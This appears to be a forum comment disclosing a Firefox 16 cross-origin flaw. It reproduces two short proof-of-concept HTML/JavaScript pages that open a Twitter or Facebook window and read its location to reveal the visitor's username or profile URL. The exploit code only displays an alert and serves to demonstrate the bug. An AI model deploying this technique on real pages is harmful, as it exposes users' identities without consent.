His proof-of-concept of the vulnerability can be found at http://www.businessinfo.co.uk/labs/firefox_knows_what_your_f... (Best fetched via curl... or Firefox 16.0 with an active Twitter session if you're daring.)
Or you can just see the source here:
<!doctype html>
<script>
function poc() {
var win = window.open('https://twitter.com/lists/',
'newWin', 'width=200,height=200');
setTimeout(function(){
alert('Hello '+/^https:\/\/twitter.com\/([^/]+)/.exec(win.location)[1])
}, 5000);
}
</script>
<input type=button value="Firefox knows" onclick="poc()">
edit: As others discovered, the regex stuff is an unnecessary red herring. Here's a simplified POC that uses Facebook to discover your vanity URL: <!doctype html>
<script>
function poc() {
var win = window.open('https://facebook.com/profile.php',
'newWin', 'width=200,height=200');
setTimeout(function(){
alert('Hello ' + win.location);
}, 5000);
}
</script>
<input type=button value="Firefox knows" onclick="poc()">